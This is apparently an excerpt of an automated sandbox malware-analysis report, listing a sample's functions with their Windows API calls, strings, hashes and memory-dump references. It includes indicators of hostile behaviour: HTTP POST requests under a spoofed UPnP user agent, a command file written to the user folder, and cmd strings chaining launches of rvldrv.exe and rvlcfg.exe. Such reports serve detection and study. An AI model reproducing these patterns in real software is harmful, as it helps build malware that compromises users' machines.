Opcode Fuzzy Hash: db0eaae3e853224ad670cce8e70ecd23fd08653b657d015a3b33c3440649b795
Instruction Fuzzy Hash: 524194B4A41318BBD7209B60DC4DFDA7774AB48701F1085E5F60AB61D1DABD6AC0CF28

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 5def7e071e7da6894acac3e8c9e4b3eb82f64dc1225d37b855f6bd456c2498ea
Instruction ID: 80b39a6ab1993389b90647d5cb6895440bceaa9a0d1ea8ab9cba8154187b69d5
Opcode Fuzzy Hash: 5def7e071e7da6894acac3e8c9e4b3eb82f64dc1225d37b855f6bd456c2498ea
Instruction Fuzzy Hash: A7411771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF855A72E1DB78E985CB99

Function 0040EF70 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040EF98
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EFE8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EFFB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040F034
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040F06A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040F095
HttpSendRequestA.WININET(00000000,004126B0,000000FF,00009E34), ref: 0040F0BF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040F0FE
memcpy.NTDLL(00000000,?,00000000), ref: 0040F150
InternetCloseHandle.WININET(00000000), ref: 0040F181
InternetCloseHandle.WININET(00000000), ref: 0040F18E
InternetCloseHandle.WININET(00000000), ref: 0040F19B

Strings

POST, xrefs: 0040F05E
<, xrefs: 0040EFA0
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EFF6

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction ID: ef1808732392904e9289ee89b59ca4b2c464bfe5f798c53c6f33b23f739279b9
Opcode Fuzzy Hash: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction Fuzzy Hash: 40510AB5A01228ABDB36CF54DC54BDA73BCAB48705F1081E9B50DAA280D7B96FC4CF54

Function 00401600 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 96networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
.#v, xrefs: 004016FF
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci$.#v
API String ID: 2403999931-387814812
Opcode ID: efb049a2581240a5a3752b10eb22395ee38dfd009db395b337f3383873aa31ff
Instruction ID: 00719830d96ac068de130eecfd85e1b44ef6fd60ec2c55820453df0d9b8f54e2
Opcode Fuzzy Hash: efb049a2581240a5a3752b10eb22395ee38dfd009db395b337f3383873aa31ff
Instruction Fuzzy Hash: B731A671900705ABC710AF70EC48B97B7B8BF09300F048A2AE569A7691D779F894CB98

Function 0040E640 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E668
InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E7FA
InternetCloseHandle.WININET(00000000), ref: 0040E837
InternetCloseHandle.WININET(00000000), ref: 0040E844
InternetCloseHandle.WININET(00000000), ref: 0040E851

Strings

GET, xrefs: 0040E72B
<, xrefs: 0040E670

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction ID: bd69c55cfb2b9f93b8bf7ceaaaaaf86fc3309545456039a657a23fe3286800e0
Opcode Fuzzy Hash: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction Fuzzy Hash: F75109B1A41228ABDB36DB50CC55BE973BCAB44705F0484E9E60DAA2C0D7B96BC4CF54

Function 004060A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,00000000,0040C2A2,006A0266,?,0040C2BE,00000000,0040D66C,?), ref: 004060AF
memcpy.NTDLL(?,00000000,00000100), ref: 00406141
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406265
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 004062C7
FlushFileBuffers.KERNEL32(000000FF), ref: 004062D3
CloseHandle.KERNEL32(000000FF), ref: 004062DD
LeaveCriticalSection.KERNEL32(00415B88,?,?,?,?,?,?,0040C2BE,00000000,0040D66C,?), ref: 004062E8

Strings

.#v, xrefs: 004062DD
C:\Users\user\tbtcmds.dat, xrefs: 00406260

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: C:\Users\user\tbtcmds.dat$.#v
API String ID: 1457358591-1503835424
Opcode ID: acef95171fe914400af161e3ad861a3f1311d831e466546ea9f77ab4e276f608
Instruction ID: a605c5c2860c2acc1241a09a2373603bf375adc509756cd8cb030c585388e075
Opcode Fuzzy Hash: acef95171fe914400af161e3ad861a3f1311d831e466546ea9f77ab4e276f608
Instruction Fuzzy Hash: D171BCB4E042099FCB04DF94D981FEFB7B1AF88304F14816DE506AB381D779A951CBA9

Function 00406660 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 106comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040666B
CoCreateInstance.OLE32(00413030,00000000,00000001,00413010,00000008), ref: 00406683
wsprintfW.USER32 ref: 004066C4
wsprintfW.USER32 ref: 004066E5

Strings

/c start %s & start %s\rvlcfg.exe, xrefs: 004066D9
%comspec%, xrefs: 004066EE
cl@, xrefs: 004066A0
/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe, xrefs: 004066B8

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: wsprintf$CreateInitializeInstance
String ID: %comspec%$/c start %s & start %s\rvlcfg.exe$/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe$cl@
API String ID: 1147330536-497122036
Opcode ID: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction ID: e126a915917d584c7bd6e3cca15df18ca7e9be12ab45cc4692bb8e15b90f0fb7
Opcode Fuzzy Hash: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction Fuzzy Hash: 67411D75A40208AFC704DF98C885FDEB7B5AF88704F208199F515A72A5C675AE81CB54

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction ID: f2cbb4ded8662be063e38a6044f3a63d93470e371ff4fbf655dea468244fd3f8
Opcode Fuzzy Hash: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction Fuzzy Hash: 4F51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040ECC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction ID: 03739fb7cbf0ac8b4f24cf275543a684364e3b5b0ef8f18e7a9da7a5ef98527e
Opcode Fuzzy Hash: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction Fuzzy Hash: 1A413A75A0020ADFCB04DF99D884BAFB7B5FF48304F108969E505A7390D778AA91CB95

Function 0040EB60 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

serviceType, xrefs: 0040EC26
service, xrefs: 0040EC13

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction ID: 010777473a756836e58c8d4bedbd534eac8e5d19c37eb4cb5fbe46cee8795b1d
Opcode Fuzzy Hash: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction Fuzzy Hash: 9F416A74A0020ADFDB04CF99C884BAFB7B9BF48304F108969E505B7390D779AE81CB95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f026b787823f1fefae13d68ad76e75e92e04a5364415cb1f746f57a7895214dd
Instruction ID: a453b5b0d0ea6fd4c501cc83d62b7a74cd48d0bc9ee55fa6e36116878b1ddbe7
Opcode Fuzzy Hash: f026b787823f1fefae13d68ad76e75e92e04a5364415cb1f746f57a7895214dd
Instruction Fuzzy Hash: D231D1722012059BC710AFB5ED8CAE7B7A8FB44314F04863EE55AD3280DB78A4449BA9

Function 0040ED01 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction ID: 82367b585ef85f09a19fbcbd702cec43aacbd83c2379c0e5ae25b899a50ddae9
Opcode Fuzzy Hash: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction Fuzzy Hash: F1313970A0020ADFCB14CF99D884BEFB7B5FF88304F108969E514A7390D778AA91CB95

Function 0040EBA1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

serviceType, xrefs: 0040EC26
service, xrefs: 0040EC13

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction ID: b0af1682f63206834f838cc0e71cdea1734b5e967c65deefb948a4066f0743c7
Opcode Fuzzy Hash: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction Fuzzy Hash: 09312874A0420A9FDB04CF99C884BEFB7B5BF48304F108969E615B7390D779AA81CB95

Function 00407720 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407726
srand.MSVCRT ref: 0040772D
rand.MSVCRT ref: 00407735
Sleep.KERNEL32 ref: 00407746
StrChrA.SHLWAPI(00000000,0000007C), ref: 0040776C
Sleep.KERNEL32(000003E8), ref: 0040779D

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: 37ea556368018ed224677055f20a6db6f5d4f480788f3e6807c6e2582d8e890c
Instruction ID: d526f444081091d18ff5343ef40ffd9a09f2c1e6f6858c3ecb06089bc02b22b2
Opcode Fuzzy Hash: 37ea556368018ed224677055f20a6db6f5d4f480788f3e6807c6e2582d8e890c
Instruction Fuzzy Hash: 1F21A479E00208FBC704DF60D885AAE7B31AB45304F10C47AE9026B381D679BA80CB56

Function 00409860 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040986D
_aullshr.NTDLL ref: 0040987E
_allshl.NTDLL ref: 004098A0
_aullshr.NTDLL ref: 004098BC
_allshl.NTDLL ref: 004098DE
_aullshr.NTDLL ref: 004098FA

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction ID: 526ada65c8064deb58b6c5f7a60763359622b06b1071bb594fb8502c37df64e6
Opcode Fuzzy Hash: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction Fuzzy Hash: C1111F32600618AB8B10EF5EC4426CABBD6EF84361B25C136FC2CDF359D634DA454BD8

Function 0040DE90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(02E50634), ref: 0040DEA9
CloseHandle.KERNEL32(02E50638), ref: 0040DED8
LeaveCriticalSection.KERNEL32(02E50634), ref: 0040DEE7
DeleteCriticalSection.KERNEL32(02E50634), ref: 0040DEF4

Strings

.#v, xrefs: 0040DED8

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID: .#v
API String ID: 3102160386-507759092
Opcode ID: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction ID: ac11750a047aba6f79e7b8cc85f80e728fdbf261864cbbb5073f4aff0768140e
Opcode Fuzzy Hash: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction Fuzzy Hash: 65115E74D00208EBDB08DF94D984A9DBB75FF48309F1081A9E806AB341D734EE94DB89

Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 0040135C

Part of subcall function 0040AB60: HeapFree.KERNEL32(02E50000,00000000,00402612,?,00402612,?), ref: 0040ABBB

Strings

pdu, xrefs: 00401339
.#v, xrefs: 0040135C

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu$.#v
API String ID: 309973729-1687148394
Opcode ID: 5b030ae644c6dbc9ea9d97babe0c3ba4c899ce10d031904438c25fa37c6040b2
Instruction ID: d5c9189d357da9e52bb83819b3173fb4210b6dfc4c93b70417a9898bc2e8bd9b
Opcode Fuzzy Hash: 5b030ae644c6dbc9ea9d97babe0c3ba4c899ce10d031904438c25fa37c6040b2
Instruction Fuzzy Hash: 3D0186765003109BCB20AF66ECC4E9B7779AF48711B044679FD056B396C738E85087A9

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
